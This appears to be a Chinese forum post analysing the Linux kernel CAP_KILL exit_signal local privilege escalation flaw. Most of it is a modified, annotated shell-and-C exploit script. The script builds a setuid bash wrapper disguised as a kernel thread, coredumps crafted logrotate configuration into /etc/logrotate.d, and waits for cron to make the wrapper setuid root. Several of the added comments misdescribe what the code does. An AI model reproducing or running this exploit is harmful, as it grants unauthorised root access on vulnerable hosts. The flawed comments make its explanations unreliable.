Linux内核CAP_KILL校验本地提权漏洞分析

绿盟七号发出的公告:http://www.nsfocus.net/vulndb/13188

Milw0rm八号发出的EXP:http://www.milw0rm.com/exploits/8369

基本上通杀2.6.29以下的2.6内核版本了。

kernel/exit.c文件中的exitnotify()函数没有正确地检查CAPKILL功能,如果本地用户在退出前执行了setuid应用程序就会导致没有将信号重置为SIGCHLD,绕过其他检查获得权限提升。

exit.c关键代码:

if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
     (tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
	   tsk->self_exec_id != tsk->parent_exec_id) &&
	       !capable(CAP_KILL))
		 tsk->exit_signal = SIGCHLD;

Milw0rm的那个EXP有问题, 我修改后加了注释:

#!/bin/sh

SUIDDUMP=cat /proc/sys/fs/suid_dumpable
#suid_dumpable的内容默认是0,必须是1或者2
if [ $SUIDDUMP -lt 1 ]; then            #判断/proc/sys/fs/suid_dumpable的内容是否小于1
/sbin/sysctl -w fs.suid_dumpable=1    #修改fs.suid_dumpable的内容为1
fi
if [ -d /etc/logrotate.d ]; then  #判断目录是否存在
echo "logrotate installed, that's good!"
else
echo "No logrotate installed, sorry!";exit
fi

echo -e "Compiling the bash setuid() wrapper..."
cd tmp
cat >> .m.c << EOF   #创建.m.c文件,下面就是.m.c的内容
#include <unistd.h>
#include <sys/types.h>

int main()
{
    setuid(0);  #执行了setuid就会导致没有将信号重置为SIGCHLD,绕过其他检查获得权限提升
	execl("/bin/bash","[kthreadd]",NULL); #将/bin/bash加到二号线程里
	}
	EOF

cc /tmp/.m.c -o /tmp/.m     #编译
rm /tmp/.m.c    #删除源文件

echo -e "Compiling the exploit code..."
cd /tmp
cat >> exploit.c << EOF        #创建源文件
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int child(void *data)
{
    sleep(2);   #线程2进入睡眠状态
	printf("I'm gonna kill the suidroot father without having root rights :D\n");
	    execl("/usr/bin/gpasswd","%s",NULL);
		exit(0);    #结束进程
		}

int main()
{
    int stacksize = 4*getpagesize(); #4KB的栈大小
	void *stack, *stacktop;
	    stack = malloc(stacksize);    #分配16KB大小栈
		stacktop = stack + stacksize; #stacktop=32KB
		    chdir("/etc/logrotate.d");  #转到/etc/logrotate.d目录下
			int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL); #创建子进程共享父进程。共享相同的文件描述符和信号处理
			    if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
			    }
			    EOF

cc /tmp/exploit.c -o /tmp/.ex   #编译成.ex
rm /tmp/exploit.c     #删除源文件

echo -e "Setting coredump limits and running the exploit...\n"
ulimit -c 10000 #设置资源极限
touch /tmp/.a #创建一个.a文件
/tmp/.ex >/dev/null 2>/dev/null #错误定向到/dev/null
sleep 5 #系统休眠
rm /tmp/.ex #删除.ex

if [ -e /etc/logrotate.d/core ]; then   #这里有疑问了,没有找到core文件的存在
touch /etc/logrotate.d/core   #加句话,创建一个core文件
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
exit
fi

echo "The system is not vulnerable, sorry :("

等待24小时后,计划任务cron.daily执行,然后再运行/tmp/.m提权。

这个洞洞很多地方没搞透,大家一起来讨论讨论这个洞洞的整个过程。